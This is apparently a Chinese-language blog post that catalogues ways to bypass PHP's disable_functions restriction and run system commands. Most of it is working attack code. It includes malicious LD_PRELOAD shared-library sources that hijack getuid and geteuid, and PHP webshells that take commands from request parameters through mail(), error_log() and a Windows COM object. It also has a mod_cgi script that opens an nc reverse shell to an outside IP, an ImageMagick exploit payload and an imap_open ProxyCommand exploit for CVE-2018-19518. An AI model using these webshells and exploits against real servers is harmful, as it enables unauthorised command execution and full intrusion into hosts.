前言
PHP 的 disabled_functions主要是用于禁用一些危险的函数防止攻击者执行系统命令。但是有一些绕过方法。这里做个总结。
基本思路
有四种绕过 disable_functions 的手法:第一种,攻击后端组件,寻找存在命令注入的、web 应用常用的后端组件,如,ImageMagick 的魔图漏洞、bash 的破壳漏洞;第二种,寻找未禁用的漏网函数,常见的执行命令的函数有 system()、exec()、shell_exec()、passthru(),偏僻的 popen()、proc_open()、pcntl_exec(),imap_open逐一尝试,或许有漏网之鱼;第三种,mod_cgi 模式,尝试修改 .htaccess,调整请求访问路由,绕过 php.ini 中的任何限制;第四种,利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果。
利用LD_PRELOAD劫持系统函数
LD_PRELOAD是Linux系统的一个环境变量,用于动态库的加载,动态库加载的优先级最高,
它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加
载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通
过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖
正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码)
,而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。
通俗的讲:LD_PRELOAD 是linux系统的一个环境变量,它可以影响程序的运行时的链接,它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。
其实现方式是通过在其它动态链接库之前提前被加载了我们构造的恶意动态链接库。
利用方式:我们写一个动态链接库覆盖该php函数调用的系统命令的某个函数,putenv
设置优先加载我们的动态链接库。我们就可以覆盖该系统函数从而执行命令。
putenv+mail
putenv ( string $setting ) : bool
添加setting到服务器环境。环境变量仅在当前请求的持续时间内存在。在请求结束时,环境将恢复到其原始状态。
如果该函数未被ban掉的话,即使是禁用了其它常见的函数,也可能会导致我们执行命令。
操作步骤:
- 生成一个我们的恶意动态链接库文件
- 利用putenv设置LD_PRELOAD为我们的恶意动态链接库文件的路径
- 配合php的某个函数去触发我们的恶意动态链接库文件
- Getshell
我们发现mail()函数可以使用,而mail()函数执行默认是会调用外部程序sendmail的,看一下php.ini就会发现默认调用sendmail -t -i
。
然后就可以编写我们的动态链接库文件。
文件名: alex.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("ls > alex");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
然后生成我们的动态链接程序
gcc -c -fPIC alex.c -o alex
gcc -shared alex -o alex.so
然后编写php脚本mail.php
文件名: alex.php
<?php
putenv("LD_PRELOAD=./alex.so");
mail("","","","","");
?>
执行一下
php -f alex.php
可以发现成执行了我们的命令,把命令结果写到了alex中了。
alex ➜ ~ ls
alex alex.so alex.c alex.php
alex ➜ ~ cat alex
alex
alex.c
alex.php
alex.so
sendmail二进制文件中使用了getuid库函数,这样我们可以覆盖getuid函数。写一个getuid函数,内容为用system函数运行环境变量中的某个参数。
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int getuid() {
const char* cmdline = getenv("EVIL_CMDLINE");
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
system(cmdline);
}
写一个php文件,用putenv添加环境变量(一个是上传的so库地址、一个是要执行的命令)。将system命令输出内容写入指定文件,到时候读出就行。
<?php
$cmd = $_REQUEST["cmd"];
$out_path = $_REQUEST["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_REQUEST["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
?>
使用方式参见【2019极客大挑战RCE ME】
putenv+error_log
当mail函数被ban了,可以使用error_log
来bypass。
error_log(error,type,destination,headers)
当type为1时,服务器就会把error发送到参数 destination 设置的邮件地址
error_log
调用的过程中(当type为1时)和mail函数一样,是调用sendmail命令。
动态链接库文件同上
php脚本稍作改变:
<?php
putenv("LD_PRELOAD=./alex.so");
error_log("alex",1,"","");
?>
即可实现案例。
覆盖getuid函数的动态链接库文件也不变。
只需稍微改一下php文件:
<?php
$cmd = $_REQUEST["cmd"];
$out_path = $_REQUEST["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_REQUEST["sopath"];
putenv("LD_PRELOAD=" . $so_path);
error_log("alex",1, "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
?>
使用方式和上面一样。
无需劫持函数,加载动态链接库即可执行
如果系统没有安装sendmail或者禁用了,上面的办法就无法再使用了。不过有师傅发现不劫持特定函数也能执行命令。详情:无需sendmail:巧用LD_PRELOAD突破disable_functions
GCC 有个 C 语言扩展修饰符 __attribute__((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 __attribute__((constructor)) 修饰的函数。
用 LD_PRELOAD 手法突破 disable_functions 不要局限于仅劫持某一函数,而应考虑劫持共享对象。
动态库payload改为:
文件名:bypass_disablefunc.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void getuid() {
const char* cmdline = getenv("EVIL_CMDLINE");
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
system(cmdline);
}
接着,用命令 gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so
将 bypass_disablefunc.c
编译为共享对象 bypass_disablefunc_x64.so
你要根据目标架构编译成不同版本,在 x64 的环境中编译,若不带编译选项则默认为 x64,若要编译成 x86 架构需要加上 -m32 选项。
只需要PHP 支持putenv()、mail() 即可,甚至无需安装 sendmail。
php文件使用mail函数那个即可。
apache mod_cgi模式
php在apache中的三种工作方式:CGI模式、FastCGI模式、apache handler。参考:## PHP目前比较常见的五大运行模式
而这种攻击要求的就是具体在apache服务器的情况下,CGI模式才可以。
在phpinfo中看到
就可以确定是以cgi模式运行。
CGI模式下,每接受一个用户请求,apache都会fork一个进程运行CGI程序解析php脚本,在.htaccess中我们设置允许在web目录运行CGI程序,然后上传一个shell命令文件上去,执行就可以反弹一个shell了。
要求:
- apache且运行mod_cgi模式
- web目录可写
- 允许.htaccess生效
在.htaccess 中添加以下内容,指定.dazzle为结尾的文件为CGI脚本程序并且允许本目录执行,我们只要同时上传一个.dazzle的shell就可以了。
有师傅已写好了payload:
<?php
$cmd = "nc -c '/bin/bash' 172.16.15.1 4444"; //command to be executed
$shellfile = "#!/bin/bash\n"; //using a shellscript
$shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n"; //header is needed, otherwise a 500 error is thrown when there is output
$shellfile .= "$cmd"; //executing $cmd
function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
echo "$text: " . ($condition ? $yes : $no) . "<br>\n";
}
if (!isset($_GET['checked']))
{
@file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
}
else
{
$modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
$writable = is_writable('.'); //current dir writable?
$htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
checkEnabled("Is writable",$writable,"Yes","No");
checkEnabled("htaccess working",$htaccess,"Yes","No");
if(!($modcgi && $writable && $htaccess))
{
echo "Error. All of the above must be true for the script to work!"; //abort if not
}
else
{
checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.
checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension
checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file
checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx
echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script
}
}
?>
系统组件绕过
window com组件(php 5.4及以下默认开启)(高版本扩展要自己添加)
添加方法:
在php相应版本下ext查找php_com_dotnet.dll
,一般都会有。没有的话,下载添加到ext目录下。
查看php.ini中是否已经开启了com.allow_dcom = true
然后在查找php.ini里面查找下extension=php_com_dotnet.dll把前面的#号或;号去掉。
如果没有找到,添加上extension=php_com_dotnet.dll即可。
然后重启apache。
然后查看phpinfo();
如果有
说明添加成功。
如果com组件开启着可以利用shell上传文件
<?php
$command=$_GET['a'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c ".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
成功绕过disfunction执行命令:
利用ImageMagick漏洞绕过disable_function
环境搭建
apt-get update&&apt-get install imagemagick
convert -version //如果安装成功会返回imagemagick版本号
apt-get install php-pear php-dev
apt-get install libmagickwand-dev
1.wget http://pecl.php.net/get/imagick-3.4.3.tgz
2.tar -zxvf imagick-3.4.3.tgz
cd imagick-3.4.3
phpize
./configure --with-php-config=/usr/bin/php-config --with-imagick=/usr/local/imagemagick //注意php-config可能会不同,要根据你具体的情况来修改
make&&make install
改一波php.ini,随便一行添加:extension = imagick.so 重启apache2服务。
然后php -r "phpinfo();"|grep imagick,看有没有安装成功
安装成功后:
然后安装ffmpeg
apt-get install ffmpeg
ffmpeg -v 看看是否安装成功
利用
可以知道当Imagick处理的文件是如下后缀的时候,就会调用外部程序ffmpeg去处理该文件。
wmv,mov,m4v,m2v,mp4,mpg,mpeg,mkv,avi,3g2,3gp
例子:
<?php
$img = new Imagick('a.mp4'); //a.mp4文件必须存在,否则就会不去调用ffmpeg
?>
这里我看的也不是太懂,挖坑,以后补。
payload:
<?php
echo "Disable functions: " . ini_get("disable_functions") . "\n";
$command = isset($_GET['cmd']) ? $_GET['cmd'] : 'id';
echo "Run command: $command\n====================\n";
$data_file = tempnam('/tmp', 'img');
$imagick_file = tempnam('/tmp', 'img');
$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/image.jpg"|$command>$data_file")'
pop graphic-context
EOF;
file_put_contents("$imagick_file", $exploit);
$thumb = new Imagick();
$thumb->readImage("$imagick_file");
$thumb->writeImage(tempnam('/tmp', 'img'));
$thumb->clear();
$thumb->destroy();
echo file_get_contents($data_file);
?>
利用imap_open(CVE-2018-19518)
CVE-2018-19518的环境可以直接使用vulhub上的环境:链接
php imap扩展用于在PHP中执行邮件收发操作。其imap_open函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)
ssh命令中可以通过设置-oProxyCommand=
来调用第三方命令,攻击者通过注入注入这个参数,最终将导致命令执行漏洞。
即使是ssh连接失败了,但是命令还是能执行。
exp:
<?php
$exp = "echo test!test! > /tmp/test";
$base64_exp = base64_encode($exp);
$server = "x -oProxyCommand=echo\t${base64_exp}|base64\t-d|sh}";
imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());
?>
参考文章
Bypass disabled_functions一些思路总结
PHP绕过disable_function 总结与实践
PHP Webshell下绕过disable_function的方法